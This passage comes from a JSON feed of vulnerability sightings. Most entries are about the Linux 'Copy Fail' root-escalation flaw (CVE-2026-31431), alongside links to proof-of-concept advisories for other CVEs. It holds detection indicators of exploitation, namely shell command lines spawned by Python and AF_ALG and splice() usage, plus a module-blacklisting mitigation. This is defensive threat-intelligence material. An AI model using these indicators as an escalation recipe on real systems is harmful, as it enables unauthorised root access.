\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443: \n\n\u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u043d\u0430 Python \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0432\u044b\u0448\u0435.  \u0417\u0430\u043f\u0443\u0441\u043a \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0442\u0440\u043e\u043a\u0430\u043c:\n \nsh -c -- su\nsh -c -- newgrp\nsh -c -- passwd\nsh -c -- gpasswd\nsh -c -- sudo\nsh -c -- chfn\nsh -c -- umount\nsh -c -- mount\nsh -c -- fusermount3\nsh -c -- chsh\nsh -c -- su\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 setuid-\u0444\u0430\u0439\u043b\u0430\u043c\u0438.  \n\n\u041c\u043e\u0436\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0438 \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: python \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 shell. \n\n\u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c:\n\n\u2014 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u043a\u0435\u0442\u0430 AF_ALG (\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 API \u044f\u0434\u0440\u0430 Linux) \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438, \n\u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 splice(), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0436\u0434\u0443 \u0434\u0432\u0443\u043c\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u0430\u043c\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0432 \u043f\u0430\u0439\u043f \u0438\u043b\u0438 \u0438\u0437 \u0441\u043e\u043a\u0435\u0442\u0430 \u0432 \u0444\u0430\u0439\u043b) \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430.\n\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432, \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043b\u0438\u0447\u0430\u0442\u044c\u0441\u044f. \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0438 \u0434\u043e\u0447\u0435\u0440\u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043b\u0438\u0431\u043e \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.\n\nUpdate: \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0430\u0442\u0430\u043a\u0438 Copy Fail \u0441\u043e\u0431\u0440\u0430\u043d\u044b \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-08-05T00:00:30.722740Z"}, {"uuid": "3ca06817-da17-4dc4-a9fc-0433621f18b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/control-systems-moxa-security-advisory-av26-509", "content": "", "creation_timestamp": "2026-05-26T05:59:13.000000Z"}, {"uuid": "1045932c-7445-4b06-aee9-52731062cae7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3172", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mmr7jpdm2j2y", "content": "pgvector 0.8.2 patches CVE-2026-3172 \u2014 buffer overflow in parallel HNSW index builds, can leak data from other relations or crash the server.\n\nIf you build HNSW indexes with parallelism enabled (most people do), upgrade this week.\n\nwww.postgresql.org/about/news/p...\n\npgexperts.com", "creation_timestamp": "2026-05-26T14:33:03.707687Z"}, {"uuid": "529bd2d9-e4d1-45a4-97d3-055424fbc80a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/pentestnotes/227", "content": "CVE-2026-31431\n\n29 \u0430\u043f\u0440\u0435\u043b\u044f \u0431\u044b\u043b\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Copy Fail \u0432 \u044f\u0434\u0440\u0435 Linux \u0441 \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 7.8 CVSS. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0434\u043e root \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 Linux-\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. PoC \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u0442\u0443\u0442.\n\n\u041d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0434\u0440\u0443\u0433\u043e\u0435. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u044b \u0441\u0442\u0430\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u0447\u0430\u0441\u0442\u044c\u044f, \u0447\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435-\u0442\u043e \u0432\u0441\u0435 \u0432\u0430\u0448\u0438 VPS/VDS \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0438 \u043f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442.\n\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u043d\u0430\u0447\u0430\u043b\u043e \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0441\u043e\u0432\u043f\u0430\u043b\u043e \u0441 \u0432\u0437\u043b\u043e\u043c\u043e\u043c \u043e\u0434\u043d\u043e\u0433\u043e (\u0432\u0441\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b) \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u0432\u0441\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043a \u043e\u0434\u043d\u043e\u0439 \u0442\u0430\u0447\u043a\u0435 \u0441 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043a\u0430\u043c\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 user12345. \u041d\u0443 \u0438 \u043a\u0442\u043e-\u0442\u043e \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u044e\u0437\u0435\u0440\u043e\u0432 \u0434\u043e\u0433\u0430\u0434\u0430\u043b\u0441\u044f \u043f\u043e\u0434\u043d\u044f\u0442\u044c\u0441\u044f \u0434\u043e \u0420\u0443\u0442\u0430 :)\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0431\u0443\u0434\u044c\u0442\u0435 \u0431\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0432\u043e\u0438 \u0442\u0430\u0447\u043a\u0438! \u0414\u043b\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0438\u043a\u0441\u0430 \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043c\u043e\u0434\u0443\u043b\u044f algif_aead:\n\nsudo tee -a /etc/modprobe.d/blacklist-algif_aead.conf <<\u2019EOF\u2019\n# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\nEOF\nsudo sh -c \"lsmod | grep algif_aead -q && modprobe -r algif_aead || reboot\"\n\n\ud83d\udcab @pentestnotes", "creation_timestamp": "2026-08-05T00:00:32.220753Z"}, {"uuid": "fe8627e3-b8eb-442f-806b-5e6795efe11f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmreydlwtg2f", "content": "~Cybergcca~\nCCCS released security advisories addressing vulnerabilities in multiple Moxa and ABB control system products.\n-\nIOCs: CVE-2026-31431, CVE-2026-43284, CVE-2025-11482\n-\n#ICS #ThreatIntel #Vulnerability", "creation_timestamp": "2026-05-26T16:10:58.195635Z"}, {"uuid": "ef548bbd-0d15-4e0c-9732-82e62980b899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/knaepp.bsky.social/post/3mmtlebbjzh2b", "content": "Mitigating CVE-2026-31431 (\u201cCopy Fail\u201d) in Docker Engine/#docker #container - CVE-2026-31431 is a Linux kernel vulnerability that was recently disclosed.This CVE does not compromise Docker infrastructure. That said, Docker Engine\u2019s default... https://tinyurl.com/22kfuyfx", "creation_timestamp": "2026-05-27T13:10:04.626895Z"}, {"uuid": "b371beca-a68e-4fc2-a09e-218f13eb5c1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/roxsross.bsky.social/post/3mmtm6uu4km2q", "content": "\ud83d\udc33 \u26a0\ufe0f \u00a1Nuevo CVE en Docker! Mitiga \u201cCopy Fail\u201d actualizando tu Engine\n\nhttps://www.docker.com/blog/mitigating-cve-2026-31431-copy-fail-in-docker-engine/\n\n#Docker #Ciberseguridad #CVE #SysAdmin", "creation_timestamp": "2026-05-27T13:24:57.826922Z"}, {"uuid": "251ee5e4-6fb3-477a-88b9-fe500a9bbdcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31899", "type": "published-proof-of-concept", "source": "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c", "content": "", "creation_timestamp": "2026-03-13T15:43:04.000000Z"}, {"uuid": "9badfec4-25db-4fe0-8d11-141833454d14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31829", "type": "published-proof-of-concept", "source": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-fvcw-9w9r-pxc7", "content": "", "creation_timestamp": "2026-03-09T19:20:42.000000Z"}, {"uuid": "e60d9ad8-7062-4475-a9ae-21ff75bb42fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31817", "type": "published-proof-of-concept", "source": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-364q-w7vh-vhpc", "content": "", "creation_timestamp": "2026-03-09T10:35:24.000000Z"}, {"uuid": "4f5b1788-e8fc-4595-9f3c-2e0dd3e1eccb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31809", "type": "published-proof-of-concept", "source": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcr", "content": "", "creation_timestamp": "2026-03-09T08:40:48.000000Z"}, {"uuid": "531b53f5-bba4-4519-903e-6d623c5216e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31873", "type": "published-proof-of-concept", "source": "https://github.com/unjs/unhead/security/advisories/GHSA-5339-hvwr-7582", "content": "", "creation_timestamp": "2026-03-12T00:10:42.000000Z"}, {"uuid": "d2425895-5194-4e81-bf8e-ec53d5d2fe21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31882", "type": "published-proof-of-concept", "source": "https://github.com/dagucloud/dagu/security/advisories/GHSA-9wmw-9wph-2vwp", "content": "", "creation_timestamp": "2026-03-13T07:10:32.000000Z"}, {"uuid": "74c29728-1d0a-4e46-8394-b59a2e53b7a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31812", "type": "published-proof-of-concept", "source": "https://github.com/quinn-rs/quinn/security/advisories/GHSA-6xvm-j4wr-6v98", "content": "", "creation_timestamp": "2026-03-09T10:24:08.000000Z"}, {"uuid": "813af894-4fc5-41df-bc6f-ea875a48fdc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31886", "type": "published-proof-of-concept", "source": "https://github.com/dagucloud/dagu/security/advisories/GHSA-m4q3-457p-hh2x", "content": "", "creation_timestamp": "2026-03-13T07:11:24.000000Z"}, {"uuid": "0bcb0e13-88ae-407f-a7be-ae829bec3dec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31975", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-gv8f-wpm2-m5wr", "content": "", "creation_timestamp": "2026-03-11T00:37:25.000000Z"}, {"uuid": "e809b7a4-7ecf-4ef4-b587-2e8d85c9d1f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31861", "type": "published-proof-of-concept", "source": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2", "content": "", "creation_timestamp": "2026-03-09T08:33:47.000000Z"}, {"uuid": "cf788b98-f1b7-45f5-91f0-a6e1a8c8bcd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31892", "type": "published-proof-of-concept", "source": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3wf5-g532-rcrr", "content": "", "creation_timestamp": "2026-03-11T10:08:46.000000Z"}, {"uuid": "0b541840-8e33-4c1c-834b-3c07c76bbdfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31802", "type": "published-proof-of-concept", "source": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256", "content": "", "creation_timestamp": "2026-03-09T05:53:24.000000Z"}, {"uuid": "29f9bf90-7a6c-420a-b69a-a29ed03ed745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31860", "type": "published-proof-of-concept", "source": "https://github.com/unjs/unhead/security/advisories/GHSA-g5xx-pwrp-g3fv", "content": "", "creation_timestamp": "2026-03-12T00:10:44.000000Z"}, {"uuid": "366bc44e-a595-4382-a8f8-a4f9d243e53b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31936", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mtn5ifk7kh2r", "content": "Combodo iTop 3.2.3\u672a\u6e80\u3067\u306f\u3001\u691c\u7d22\u64cd\u4f5c\u3067\u6a29\u9650\u306e\u306a\u3044\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u60c5\u5831\u306b\u30a2\u30af\u30bb\u30b9\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306f3.2.3\u3067\u4fee\u6b63\u3055\u308c\u3066\u3044\u307e\u3059\u3002\nCVE-2026-31936 CVSS 8.8 | HIGH", "creation_timestamp": "2026-08-22T01:42:14.328549Z"}, {"uuid": "cbf2171e-211d-440b-8d26-4318b8a09478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31815", "type": "published-proof-of-concept", "source": "https://github.com/django-commons/django-unicorn/security/advisories/GHSA-ffv6-jj46-x367", "content": "", "creation_timestamp": "2026-03-09T10:58:20.000000Z"}, {"uuid": "4cca02b3-2aa7-4dc4-b6bd-bac08652b7e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31807", "type": "published-proof-of-concept", "source": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27", "content": "", "creation_timestamp": "2026-03-09T08:07:46.000000Z"}, {"uuid": "0b83aa66-0fd2-4f72-aae6-8f27600d8b61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31801", "type": "published-proof-of-concept", "source": "https://github.com/project-zot/zot/security/advisories/GHSA-85jx-fm8m-x8c6", "content": "", "creation_timestamp": "2026-03-09T05:45:42.000000Z"}, {"uuid": "dd300922-8799-445f-8c85-a68d046fcb2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/96684", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-guard\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a joaocalciolari07\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-05 01:58:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDefensive detection & mitigation tool for CVE-2026-31431 (\"Copy Fail\") \u2014 Linux kernel algif_aead LPE. No exploit code included.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-05T03:00:05.099109Z"}, {"uuid": "58d2fc20-669c-4e09-bea2-9cde45bf70d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31803", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtnbylpz2s2b", "content": "\ud83d\udfe0 CVE-2026-31803 - High (8)\n\nCombodo iTop is a web based IT service management tool. Prior to 3.2.3, 3.2.3, there is a Reflect...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-31803/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-22T03:02:53.146318Z"}, {"uuid": "98c213f5-a96a-439c-aff0-25967c425d80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97076", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a linux-kernel-algif-aead-checker\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ridhinva\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-07 20:38:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nScanner: CVE-2026-31431 Linux kernel algif_aead Copy Fail vulnerability checker \u2014 Python PoC for heap overflow path\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-07T23:05:59.223262Z"}, {"uuid": "1b88eee1-52bf-45d7-97e5-a8cb05d8e219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/metasplot.bsky.social/post/3mmvdlkzobc2p", "content": "CVE-2026-31431\u3001\u6050\u308d\u3057\u3044", "creation_timestamp": "2026-05-28T05:55:15.412977Z"}, {"uuid": "e710a858-11e8-4df8-82f1-9f1b51c1a0f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/metasplot.bsky.social/post/3mmvdnnanv22p", "content": "CVE-2026-31431\u3001\u6050\u308d\u3057\u3044", "creation_timestamp": "2026-05-28T05:56:43.294518Z"}, {"uuid": "3eebe0cd-4433-48a1-9105-c171e8102fdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3173", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmviqzybpt2v", "content": "CVE-2026-3173 - Meta Field Block\nCVE ID : CVE-2026-3173\n \n Published : May 28, 2026, 6:16 a.m. | 15\u00a0minutes ago\n \n Description : The Meta Field Block plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.5.1. This is due...", "creation_timestamp": "2026-05-28T07:28:51.700144Z"}, {"uuid": "75ad3208-8ec0-4b6d-8a28-3185fcfaa8b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/CyberDispatch/1514", "content": "A new #Linux flaw is now under active exploitation.\n\nCISA added CVE-2026-31431 to its KEV list. The bug lets low-privilege users gain full root access. Patches released.", "creation_timestamp": "2026-08-29T20:00:16.408010Z"}, {"uuid": "8f7a3f0d-2cca-47be-bc64-d896560aa894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/86257", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a 